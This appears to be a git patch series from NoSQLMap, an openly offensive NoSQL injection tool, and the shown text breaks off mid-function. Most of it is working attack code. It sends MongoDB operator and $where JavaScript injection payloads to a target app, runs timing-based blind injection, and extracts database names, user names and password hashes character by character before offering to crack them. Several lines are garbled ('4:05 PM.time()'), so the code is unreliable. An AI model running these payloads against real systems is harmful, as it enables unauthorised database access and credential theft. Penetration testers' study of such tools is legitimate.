based attacks:" + + if strTbAttack == True: + print "String attack-Successful" + else: + print "String attack-Unsuccessful" + if intTbAttack == True: + print "Integer attack-Successful" + else: + print "Integer attack-Unsuccessful" + + fileOut = raw_input("Save results to file (y/n)? ") + + if fileOut in yes_tag: + savePath = raw_input("Enter output file name: ") + fo = open(savePath, "wb") + fo.write ("Vulnerable URLs:\n") + fo.write("\n".join(vulnAddrs)) + fo.write("\n\n") + fo.write("Possibly Vulnerable URLs:\n") + fo.write("\n".join(possAddrs)) + fo.write("\n") + fo.write("Timing based attacks:\n") + + if strTbAttack == True: + fo.write("String Attack-Successful\n") + else: + fo.write("String Attack-Unsuccessful\n") + fo.write("\n") + + if intTbAttack == True: + fo.write("Integer attack-Successful\n") + else: + fo.write("Integer attack-Unsuccessful\n") + fo.write("\n") + fo.close() + + raw_input("Press enter to continue...") + return() + +def postApps(): + print "Web App Attacks (POST)" + print "===============" + paramName = [] + paramValue = [] + global vulnAddrs + vulnAddrs = [] + global possAddrs + possAddrs = [] + timeVulnsStr = [] + timeVulnsInt = [] + appUp = False + strTbAttack = False + intTbAttack = False + trueStr = False + trueInt = False + global postData + global neDict + global gtDict + global requestHeaders + testNum = 1 + + #Verify app is working. + print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..." + + if https == "OFF": + appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri) + + elif https == "ON": + appURL = "https://" + str(victim) + ":" + str(webPort) + str(uri) + + try: + body = urllib.urlencode(postData) + req = urllib2.Request(appURL,body, requestHeaders) + appRespCode = urllib2.urlopen(req).getcode() + + if appRespCode == 200: + + normLength = int(len(urllib2.urlopen(req).read())) + timeReq = urllib2.urlopen(req) + start = 4:05 PM.time() + page = timeReq.read() + end = 4:05 PM.time() + timeReq.close() + timeBase = round((end - start), 3) + + if verb == "ON": + print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n" + + else: + print "App is up!" + appUp = True + else: + print "Got " + str(appRespCode) + "from the app, check your options." + + except Exception,e: + print e + print "Looks like the server didn't respond. Check your options." + + if appUp == True: + + menuItem = 1 + print "List of parameters:" + for params in postData.keys(): + print str(menuItem) + "-" + params + menuItem += 1 + + try: + injIndex = raw_input("Which parameter should we inject? ") + injOpt = str(postData.keys()[int(injIndex)-1]) + print "Injecting the " + injOpt + " parameter..." + except: + raw_input("Something went wrong. Press enter to return to the main menu...") + return + + injectSize = raw_input("Baseline test-Enter random string size: ") + injectString = randInjString(int(injectSize)) + print "Using " + injectString + " for injection testing.\n" + + #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. + #Add error handling for Non-200 HTTP response codes if random strings freak out the app. + postData.update({injOpt:injectString}) + if verb == "ON": + print "Checking random injected parameter HTTP response size sending " + str(postData) +"...\n" + + else: + print "Sending random parameter value..." + + body = urllib.urlencode(postData) + req = urllib2.Request(appURL,body, requestHeaders) + randLength = int(len(urllib2.urlopen(req).read())) + print "Got response length of " + str(randLength) + "." + + randNormDelta = abs(normLength - randLength) + + if randNormDelta == 0: + print "No change in response size injecting a random parameter..\n" + else: + print "Random value variance: " + str(randNormDelta) + "\n" + + #Generate not equals injection + neDict = postData + neDict[injOpt + "[$ne]"] = neDict[injOpt] + del neDict[injOpt] + body = urllib.urlencode(neDict) + req = urllib2.Request(appURL,body, requestHeaders) + if verb == "ON": + print "Testing Mongo PHP not equals associative array injection using " + str(postData) +"..." + + else: + print "Test 1: PHP/ExpressJS != associative array injection" + + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + + if errorCheck == False: + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + + else: + testNum +=1 + print "\n" + + #Delete the extra key + del postData[injOpt + "[$ne]"] + + #generate $gt injection + gtDict = postData + gtDict.update({injOpt:""}) + gtDict[injOpt + "[$gt]"] = gtDict[injOpt] + del gtDict[injOpt] + body = urllib.urlencode(gtDict) + req = urllib2.Request(appURL,body, requestHeaders) + if verb == "ON": + print "Testing PHP/ExpressJS >Undefined Injection using " + str(postData) + "..." + + else: + print "Test 2: PHP/ExpressJS > Undefined Injection" + + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + + if errorCheck == False: + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + + postData.update({injOpt:"a'; return db.a.find(); var dummy='!"}) + body = urllib.urlencode(postData) + req = urllib2.Request(appURL,body, requestHeaders) + if verb == "ON": + print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n" + print "Injecting " + str(postData) + + else: + print "Test 3: $where injection (string escape)" + + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + + if errorCheck == False: + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + else: + testNum += 1 + + print "\n" + + postData.update({injOpt:"1; return db.a.find(); var dummy=1"}) + body = urllib.urlencode(postData) + req = urllib2.Request(appURL,body, requestHeaders) + if verb == "ON": + print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n" + print "Injecting " + str(postData) + else: + print "Test 4: $where injection (integer escape)" + + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + + if errorCheck == False: + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + else: + testNum += 1 + print "\n" + + #Start a single record attack in case the app expects only one record back + postData.update({injOpt:"a'; return db.a.findOne(); var dummy='!"}) + body = urllib.urlencode(postData) + req = urllib2.Request(appURL,body, requestHeaders) + if verb == "ON": + print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n" + print " Injecting " + str(postData) + + else: + print "Test 5: $where injection string escape (single record)" + + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + + if errorCheck == False: + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + + else: + testNum += 1 + print "\n" + + postData.update({injOpt:"1; return db.a.findOne(); var dummy=1"}) + body = urllib.urlencode(postData) + req = urllib2.Request(appURL,body, requestHeaders) + if verb == "ON": + print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n" + print " Injecting " + str(postData) + + else: + print "Test 6: $where injection integer escape (single record)" + + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + + if errorCheck == False: + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + + else: + testNum += 1 + print "\n" + + postData.update({injOpt:"a'; return this.a != '" + injectString + "'; var dummy='!"}) + body = urllib.urlencode(postData) + req = urllib2.Request(appURL,body, requestHeaders) + + if verb == "ON": + print "Testing Mongo this not equals string escape attack for all records..." + print " Injecting " + str(postData) + + else: + print "Test 7: This != injection (string escape)" + + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + + if errorCheck == False: + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + print "\n" + else: + testNum += 1 + + postData.update({injOpt:"1; return this.a != '" + injectString + "'; var dummy=1"}) + body = urllib.urlencode(postData) + req = urllib2.Request(appURL,body, requestHeaders) + + if verb == "ON": + print "Testing Mongo this not equals integer escape attack for all records..." + print " Injecting " + str(postData) + else: + print "Test 8: This != injection (integer escape)" + + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + + if errorCheck == False: + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + + else: + testNum += 1 + print "\n" + + doTimeAttack = raw_input("Start timing based tests (y/n)? ") + + if doTimeAttack == "y" or doTimeAttack == "Y": + print "Starting Javascript string escape time based injection..." + postData.update({injOpt:"a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(curDate.getTime()-date.getTime()))/1000 < 10); return true; var dummy='a"}) + body = urllib.urlencode(postData) + conn = urllib2.urlopen(req,body) + start = 4:05 PM.time() + page = conn.read() + end = 4:05 PM.time() + conn.close() + print str(end) + print str(start) + strTimeDelta = (int(round((end - start), 3)) - timeBase) + #print str(strTimeDelta) + if strTimeDelta > 25: + print "HTTP load time variance was " + str(strTimeDelta) +" seconds! Injection possible." + strTbAttack = True + + else: + print "HTTP load time variance was only " + str(strTimeDelta) + " seconds. Injection probably didn't work." + strTbAttack = False + + print "Starting Javascript integer escape time based injection..." + + postData.update({injOpt:"1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"}) + body = urllib.urlencode(postData) + start = 4:05 PM.time() + conn = urllib2.urlopen(req,body) + page = conn.read() + end = 4:05 PM.time() + conn.close() + print str(end) + print str(start) + intTimeDelta = ((end-start) - timeBase) + #print str(strTimeDelta) + if intTimeDelta > 25: + print "HTTP load time variance was " + str(intTimeDelta) +" seconds! Injection possible." + intTbAttack = True + + else: + print "HTTP load time variance was only " + str(intTimeDelta) + " seconds. Injection probably didn't work." + intTbAttack = False + + print "\n" + print "Exploitable requests:" + print "\n".join(vulnAddrs) + print "\n" + print "Possibly vulnerable requests:" + print"\n".join(possAddrs) + print "\n" + print "Timing based attacks:" + + if strTbAttack == True: + print "String attack-Successful" + else: + print "String attack-Unsuccessful" + if intTbAttack == True: + print "Integer attack-Successful" + else: + print "Integer attack-Unsuccessful" + + fileOut = raw_input("Save results to file (y/n)? ") + + if fileOut in yes_tag: + savePath = raw_input("Enter output file name: ") + fo = open(savePath, "wb") + fo.write ("Vulnerable Requests:\n") + fo.write("\n".join(vulnAddrs)) + fo.write("\n\n") + fo.write("Possibly Vulnerable Requests:\n") + fo.write("\n".join(possAddrs)) + fo.write("\n") + fo.write("Timing based attacks:\n") + + if strTbAttack == True: + fo.write("String Attack-Successful\n") + else: + fo.write("String Attack-Unsuccessful\n") + fo.write("\n") + + if intTbAttack == True: + fo.write("Integer attack-Successful\n") + else: + fo.write("Integer attack-Unsuccessful\n") + fo.write("\n") + fo.close() + + raw_input("Press enter to continue...") + return() + +def errorTest (errorCheck,testNum): + global possAddrs + global httpMethod + global neDict + global gtDict + global postData + + if errorCheck.find('ReferenceError') != -1 or errorCheck.find('SyntaxError') != -1 or errorCheck.find('ILLEGAL') != -1: + print "Injection returned a MongoDB Error. Injection may be possible." + + if httpMethod == "GET": + possAddrs.append(uriArray[testNum]) + return True + + else: + if testNum == 1: + possAddrs.append(str(neDict)) + return True + + elif testNum == 2: + possAddrs.append(str(gtDict)) + return True + + else: + possAddrs.append(str(postData)) + return True + else: + return False + + + +def checkResult(baseSize,respSize,testNum): + global vulnAddrs + global possAddrs + global lt24 + global str24 + global int24 + global httpMethod + global neDict + global gtDict + global postData + + delta = abs(respSize - baseSize) + if (delta >= 100) and (respSize != 0) : + if verb == "ON": + print "Response varied " + str(delta) + " bytes from random parameter value! Injection works!" + else: + print "Successful injection!" + + if httpMethod == "GET": + vulnAddrs.append(uriArray[testNum]) + else: + if testNum == 1: + vulnAddrs.append(str(neDict)) + + elif testNum == 2: + vulnAddrs.append(str(gtDict)) + else: + vulnAddrs.append(str(postData)) + + if testNum == 3 or testNum == 5: + lt24 = True + str24 = True + + elif testNum == 4 or testNum == 6: + lt24 = True + int24 = True + return + + elif (delta > 0) and (delta < 100) and (respSize != 0) : + if verb == "ON": + print "Response variance was only " + str(delta) + " bytes. Injection might have worked but difference is too small to be certain. " + else: + print "Possible injection." + + if httpMethod == "GET": + possAddrs.append(uriArray[testNum]) + else: + if testNum == 1: + possAddrs.append(str(neDict)) + else: + possAddrs.append(str(postData)) + return + + elif (delta == 0): + if verb == "ON": + print "Random string response size and not equals injection were the same. Injection did not work." + else: + print "Injection failed." + return + + else: + if verb == "ON": + print "Injected response was smaller than random response. Injection may have worked but requires verification." + else: + print "Possible injection." + if httpMethod == "GET": + possAddrs.append(uriArray[testNum]) + else: + if testNum == 1: + possAddrs.append(str(neDict)) + else: + possAddrs.append(str(postData)) + return + +def randInjString(size): + print "What format should the random string take?" + print "1-Alphanumeric" + print "2-Letters only" + print "3-Numbers only" + print "4-Email address" + format = True + + while format: + format = raw_input("Select an option: ") + + if format == "1": + chars = string.ascii_letters + string.digits + return ''.join(random.choice(chars) for x in range(size)) + + elif format == "2": + chars = string.ascii_letters + return ''.join(random.choice(chars) for x in range(size)) + + elif format == "3": + chars = string.digits + return ''.join(random.choice(chars) for x in range(size)) + + elif format == "4": + chars = string.ascii_letters + string.digits + return ''.join(random.choice(chars) for x in range(size)) + '@' + ''.join(random.choice(chars) for x in range(size)) + '.com' + else: + format = True + print "Invalid selection." + + +def buildUri(origUri, randValue): + paramName = [] + paramValue = [] + global uriArray + uriArray = ["","","","","","","","","","","","","","","","","","",""] + injOpt = "" + + #Split the string between the path and parameters, and then split each parameter + try: + split_uri = origUri.split("?") + params = split_uri[1].split("&") + + except: + raw_input("Not able to parse the URL and parameters. Check options settings. Press enter to return to main menu...") + return + + for item in params: + index = item.find("=") + paramName.append(item[0:index]) + paramValue.append(item[index + 1:len(item)]) + + menuItem = 1 + print "List of parameters:" + for params in paramName: + print str(menuItem) + "-" + params + menuItem += 1 + + try: + injIndex = raw_input("Which parameter should we inject? ") + injOpt = str(paramName[int(injIndex)-1]) + print "Injecting the " + injOpt + " parameter..." + + except: + raw_input("Something went wrong. Press enter to return to the main menu...") + return + + x = 0 + uriArray[0] = split_uri[0] + "?" + uriArray[1] = split_uri[0] + "?" + uriArray[2] = split_uri[0] + "?" + uriArray[3] = split_uri[0] + "?" + uriArray[4] = split_uri[0] + "?" + uriArray[5] = split_uri[0] + "?" + uriArray[6] = split_uri[0] + "?" + uriArray[7] = split_uri[0] + "?" + uriArray[8] = split_uri[0] + "?" + uriArray[9] = split_uri[0] + "?" + uriArray[10] = split_uri[0] + "?" + uriArray[11] = split_uri[0] + "?" + uriArray[12] = split_uri[0] + "?" + uriArray[13] = split_uri[0] + "?" + uriArray[14] = split_uri[0] + "?" + uriArray[15] = split_uri[0] + "?" + uriArray[16] = split_uri[0] + "?" + uriArray[17] = split_uri[0] + "?" + uriArray[18] = split_uri[0] + "?" + + for item in paramName: + if paramName[x] == injOpt: + uriArray[0] += paramName[x] + "=" + randValue + "&" + uriArray[1] += paramName[x] + "[$ne]=" + randValue + "&" + uriArray[2] += paramName[x] + "=a'; return db.a.find(); var dummy='!" + "&" + uriArray[3] += paramName[x] + "=1; return db.a.find(); var dummy=1" + "&" + uriArray[4] += paramName[x] + "=a'; return db.a.findOne(); var dummy='!" + "&" + uriArray[5] += paramName[x] + "=1; return db.a.findOne(); var dummy=1" + "&" + uriArray[6] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&" + uriArray[7] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&" + uriArray[8] += paramName[x] + "[$gt]=&" + uriArray[9] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&" + uriArray[10] += paramName[x] + "=a\"; return db.a.find(); var dummy='!" + "&" + uriArray[11] += paramName[x] + "=a\"; return this.a != '" + randValue + "'; var dummy='!" + "&" + uriArray[12] += paramName[x] + "=a\"; return db.a.findOne(); var dummy=\"!" + "&" + uriArray[13] += paramName[x] + "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!" + "&" + uriArray[14] += paramName[x] + "a'; return true; var dum='a" + uriArray[15] += paramName[x] + "1; return true; var dum=2" + #Add values that can be manipulated for database attacks + uriArray[16] += paramName[x] + "=a\'; ---" + uriArray[17] += paramName[x] + "=1; if ---" + uriArray[18] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&" + + else: + uriArray[0] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[1] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[2] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[3] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[4] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[5] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[6] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[7] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[8] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[9] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[10] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[11] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[12] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[13] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[14] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[15] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[16] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[17] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[18] += paramName[x] + "=" + paramValue[x] + "&" + x += 1 + + #Clip the extra & off the end of the URL + x = 0 + while x <= 17: + uriArray[x]= uriArray[x][:-1] + x += 1 + + return uriArray[0] + +def getDBInfo(): + curLen = 0 + nameLen = 0 + gotFullDb = False + gotNameLen = False + gotDbName = False + gotColLen = False + gotColName = False + gotUserCnt = False + finUser = False + dbName = "" + charCounter = 0 + nameCounter = 0 + usrCount = 0 + retrUsers = 0 + users = [] + hashes = [] + crackHash = "" + + chars = string.ascii_letters + string.digits + print "Getting baseline True query return size..." + trueUri = uriArray[16].replace("---","return true; var dummy ='!" + "&") + #print "Debug " + str(trueUri) + req = urllib2.Request(trueUri, None, requestHeaders) + baseLen = int(len(urllib2.urlopen(req).read())) + print "Got baseline true query length of " + str(baseLen) + + print "Calculating DB name length..." + + while gotNameLen == False: + calcUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.length ==" + str(curLen) + ") {return true;} var dum='a" + "&") + #print "Debug: " + calcUri + req = urllib2.Request(calcUri, None, requestHeaders) + lenUri = int(len(urllib2.urlopen(req).read())) + #print "Debug length: " + str(lenUri) + + if lenUri == baseLen: + print "Got database name length of " + str(curLen) + " characters." + gotNameLen = True + + else: + curLen += 1 + + print "Database Name: ", + while gotDbName == False: + charUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } var dum='a" + "&") + + req = urllib2.Request(charUri, None, requestHeaders) + lenUri = int(len(urllib2.urlopen(req).read())) + + if lenUri == baseLen: + dbName = dbName + chars[charCounter] + print chars[charCounter], + nameCounter += 1 + charCounter = 0 + + if nameCounter == curLen: + gotDbName = True + + + else: + charCounter += 1 + print "\n" + + getUserInf = raw_input("Get database users and password hashes (y/n)? ") + + if getUserInf in yes_tag: + charCounter = 0 + nameCounter = 0 + #find the total number of users on the database + while gotUserCnt == False: + usrCntUri = uriArray[16].replace("---","var usrcnt = db.system.users.count(); if (usrcnt == " + str(usrCount) + ") { return true; } var dum='a") + + req = urllib2.Request(usrCntUri, None, requestHeaders) + lenUri = int(len(urllib2.urlopen(req).read())) + + if lenUri == baseLen: + print "Found " + str(usrCount) + " user(s)." + gotUserCnt = True + + else: + usrCount += 1 + + usrChars = 0 #total number of characters in username + charCounterUsr = 0 #position in the character array-Username + rightCharsUsr = 0 #number of correct characters-Username + rightCharsHash = 0 #number of correct characters-hash + charCounterHash = 0 #position in the character array-hash + username = "" + pwdHash = "" + charCountUsr = False + query = "{}" + + while retrUsers < usrCount: + if retrUsers == 0: + while charCountUsr == False: + #different query to get the first user vs. others + usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&") + + req = urllib2.Request(usrUri, None, requestHeaders) + lenUri = int(len(urllib2.urlopen(req).read())) + + if lenUri == baseLen: + #Got the right number of characters + charCountUsr = True + + else: + usrChars += 1 + + while rightCharsUsr < usrChars: + usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&") + + req = urllib2.Request(usrUri, None, requestHeaders) + lenUri = int(len(urllib2.urlopen(req).read())) + + if lenUri == baseLen: + username = username + chars[charCounterUsr] + #print username + rightCharsUsr += 1 + charCounterUsr = 0 + + else: + charCounterUsr += 1 + + retrUsers += 1 + users.append(username) + #reinitialize all variables and get ready to do it again + #print str(retrUsers) + #print str(users) + charCountUsr = False + rightCharsUsr = 0 + usrChars = 0 + username = "" + + while rightCharsHash < 32: #Hash length is static + hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } var dum='a" + "&") + + req = urllib2.Request(hashUri, None, requestHeaders) + lenUri = int(len(urllib2.urlopen(req).read())) + + if lenUri == baseLen: + pwdHash = pwdHash + chars[charCounterHash] + #print pwdHash + rightCharsHash += 1 + charCounterHash = 0 + + else: + charCounterHash += 1 + + hashes.append(pwdHash) + print "Got user:hash " + users[0] + ":" + hashes[0] + #reinitialize all variables and get ready to do it again + charCounterHash = 0 + rightCharsHash = 0 + pwdHash = "" + else: + while charCountUsr == False: + #different query to get the first user vs. others + usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&") + + req = urllib2.Request(usrUri, None, requestHeaders) + lenUri = int(len(urllib2.urlopen(req).read())) + + if lenUri == baseLen: + #Got the right number of characters + charCountUsr = True + + else: + usrChars += 1 + + while rightCharsUsr < usrChars: + usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&") + + req = urllib2.Request(usrUri, None, requestHeaders) + lenUri = int(len(urllib2.urlopen(req).read())) + + if lenUri == baseLen: + username = username + chars[charCounterUsr] + #print username + rightCharsUsr += 1 + charCounterUsr = 0 + + else: + charCounterUsr += 1 + + retrUsers += 1 + #reinitialize all variables and get ready to do it again + + charCountUsr = False + rightCharsUsr = 0 + usrChars = 0 + + while rightCharsHash < 32: #Hash length is static + hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } vardum='a" + "&") + + req = urllib2.Request(hashUri, None, requestHeaders) + lenUri = int(len(urllib2.urlopen(req).read())) + + if lenUri == baseLen: + pwdHash = pwdHash + chars[charCounterHash] + rightCharsHash += 1 + charCounterHash = 0 + + else: + charCounterHash += 1 + + users.append(username) + hashes.append(pwdHash) + print "Got user:hash " + users[retrUsers-1] + ":" + hashes[retrUsers-1] + #reinitialize all variables and get ready to do it again + username = "" + charCounterHash = 0 + rightCharsHash = 0 + pwdHash = "" + crackHash = raw_input("Crack recovered hashes (y/n)?: ") + + while crackHash in yes_tag: + menuItem = 1 + for user in users: + print str(menuItem) + "-" + user + menuItem +=1 + + userIndex = raw_input("Select user hash to crack: ") + nsmmongo.passCrack(users[int(userIndex)-1],hashes[int(userIndex)-1]) + + crackHash = raw_input("Crack another hash (y/n)?") + raw_input("Press enter to continue...") + return + From 807a58c22e8bffd8ce279fe53870b241f69cbe29 Mon Sep 17 00:00:00 2001 From: tcstool Date: Sat, 4 Jun 2016 18:14:02 -0500 Subject: [PATCH 119/207] Fix IDE created issues --- nosqlmap.py | 456 ++++++++++++++++++++++++++++++++++++++++++++++++++++ nsmweb.py | 22 +-- 2 files changed, 467 insertions(+), 11 deletions(-) create mode 100755 nosqlmap.py diff --git a/nosqlmap.py b/nosqlmap.py new file mode 100755 index 0000000..a1a8c20 --- /dev/null +++ b/nosqlmap.py @@ -0,0 +1,456 @@ +#!/usr/bin/python +#NoSQLMap Copyright 2014 Russell Butturini +#This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +#the Free Software Foundation, either version 3 of the License, or +#(at your option) any later version. + +#This program is distributed in the hope that it will be useful, +#but WITHOUT ANY WARRANTY; without even the implied warranty of +#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +#GNU General Public License for more details. + +#You should have received a copy of the GNU General Public License +#along with this program. If not, see . + + +import sys +import nsmcouch +import nsmmongo +import nsmscan +import nsmweb +import os +import signal +import ast + +def main(): + signal.signal(signal.SIGINT, signal_handler) + global optionSet + #Set a list so we can track whether options are set or not to avoid resetting them in subsequent calls to the options menu. + optionSet = [False]*9 + global yes_tag + global no_tag + yes_tag = ['y', 'Y'] + no_tag = ['n', 'N'] + global victim + global webPort + global uri + global httpMethod + global platform + global https + global myIP + global myPort + global verb + global scanNeedCreds + global dbPort + #Use MongoDB as the default, since it's the least secure ( :-p at you 10Gen ) + platform = "MongoDB" + dbPort = 27017 + myIP = "Not Set" + myPort = "Not Set" + mainMenu() + +def mainMenu(): + global platform + global victim + global dbPort + global myIP + global myPort + + mmSelect = True + while mmSelect: + os.system('clear') + print "====================================================" + print " _ _ _____ _____ _ ___ ___ " + print "| \ | | / ___|| _ | | | \/ | " + print "| \| | ___ \ `--. | | | | | | . . | __ _ _ __ " + print "| . ` |/ _ \ `--. \| | | | | | |\/| |/ _` | '_ \ " + print "| |\ | (_) /\__/ /\ \/' / |____| | | | (_| | |_) |" + print "\_| \_/\___/\____/ \_/\_\_____/\_| |_/\__,_| .__/" + print "====================================================" + print "NoSQLMap-v0.6ALPHA" + print "nosqlmap@gmail.com" + print "\n" + print "1-Set options" + print "2-NoSQL DB Access Attacks" + print "3-NoSQL Web App attacks" + print "4-Scan for Anonymous " + platform + " Access" + print "5-Change Platform (Current: " + platform + ")" + print "x-Exit" + + select = raw_input("Select an option: ") + + if select == "1": + options() + + elif select == "2": + if optionSet[0] == True and optionSet[4] == True: + if platform == "MongoDB": + nsmmongo.netAttacks(victim, dbPort, myIP, myPort) + + elif platform == "CouchDB": + nsmcouch.netAttacks(victim, dbPort, myIP) + + #Check minimum required options + else: + raw_input("Target not set! Check options. Press enter to continue...") + + + elif select == "3": + #Check minimum required options + if (optionSet[0] == True) and (optionSet[2] == True): + if httpMethod == "GET": + nsmweb.getApps() + + else: + nsmweb.postApps() + + else: + raw_input("Options not set! Check host and URI path. Press enter to continue...") + + + elif select == "4": + scanResult = nsmscan.massScan(platform) + + if scanResult != None: + optionSet[0] = True + victim = scanResult[1] + + elif select == "5": + platSel() + + elif select == "x": + sys.exit() + + else: + raw_input("Invalid selection. Press enter to continue.") + +def platSel(): + global platform + global dbPort + select = True + print "\n" + while select: + print "1-MongoDB" + print "2-CouchDB" + pSel = raw_input("Select a platform: ") + + if pSel == "1": + platform = "MongoDB" + dbPort = 27017 + return + + elif pSel == "2": + platform = "CouchDB" + dbPort = 5984 + return + else: + psel = True + raw_input("Invalid selection. Press enter to continue.") + +def options(): + global victim + global webPort + global uri + global https + global platform + global httpMethod + global postData + global myIP + global myPort + global verb + global mmSelect + global dbPort + global requestHeaders + requestHeaders = {} + optSelect = True + + #Set default value if needed + if optionSet[0] == False: + global victim + victim = "Not Set" + if optionSet[1] == False: + global webPort + webPort = 80 + optionSet[1] = True + if optionSet[2] == False: + global uri + uri = "Not Set" + if optionSet[3] == False: + global httpMethod + httpMethod = "GET" + if optionSet[4] == False: + global myIP + myIP = "Not Set" + if optionSet[5] == False: + global myPort + myPort = "Not Set" + if optionSet[6] == False: + verb = "OFF" + optSelect = True + if optionSet[8] == False: + https = "OFF" + optSelect = True + + while optSelect: + print "\n\n" + print "Options" + print "1-Set target host/IP (Current: " + str(victim) + ")" + print "2-Set web app port (Current: " + str(webPort) + ")" + print "3-Set App Path (Current: " + str(uri) + ")" + print "4-Toggle HTTPS (Current: " + str(https) + ")" + print "5-Set " + platform + " Port (Current : " + str(dbPort) + ")" + print "6-Set HTTP Request Method (GET/POST) (Current: " + httpMethod + ")" + print "7-Set my local " + platform + "/Shell IP (Current: " + str(myIP) + ")" + print "8-Set shell listener port (Current: " + str(myPort) + ")" + print "9-Toggle Verbose Mode: (Current: " + str(verb) + ")" + print "0-Load options file" + print "a-Load options from saved Burp request" + print "b-Save options file" + print "h-Set headers" + print "x-Back to main menu" + + select = raw_input("Select an option: ") + + if select == "1": + #Unset the boolean if it's set since we're setting it again. + optionSet[0] = False + ipLen = False + + while optionSet[0] == False: + goodDigits = True + notDNS = True + victim = raw_input("Enter the host IP/DNS name: ") + #make sure we got a valid IP + octets = victim.split(".") + + if len(octets) != 4: + #Treat this as a DNS name + optionSet[0] = True + notDNS = False + else: + #If len(octets) != 4 is executed the block of code below is also run, but it is not necessary + #If the format of the IP is good, check and make sure the octets are all within acceptable ranges. + for item in octets: + try: + if int(item) < 0 or int(item) > 255: + print "Bad octet in IP address." + goodDigits = False + + except: + #Must be a DNS name (for now) + + notDNS = False + + #If everything checks out set the IP and break the loop + if goodDigits == True or notDNS == False: + print "\nTarget set to " + victim + "\n" + optionSet[0] = True + + elif select == "2": + webPort = raw_input("Enter the HTTP port for web apps: ") + print "\nHTTP port set to " + webPort + "\n" + optionSet[1] = True + + elif select == "3": + uri = raw_input("Enter URI Path (Press enter for no URI): ") + print "\nURI Path set to " + uri + "\n" + optionSet[2] = True + + elif select == "4": + if https == "OFF": + print "HTTPS enabled." + https = "ON" + optionSet[8] = True + + elif https == "ON": + print "HTTPS disabled." + https = "OFF" + optionSet[8] = True + + + elif select == "5": + dbPort = int(raw_input("Enter target MongoDB port: ")) + print "\nTarget Mongo Port set to " + str(dbPort) + "\n" + optionSet[7] = True + + elif 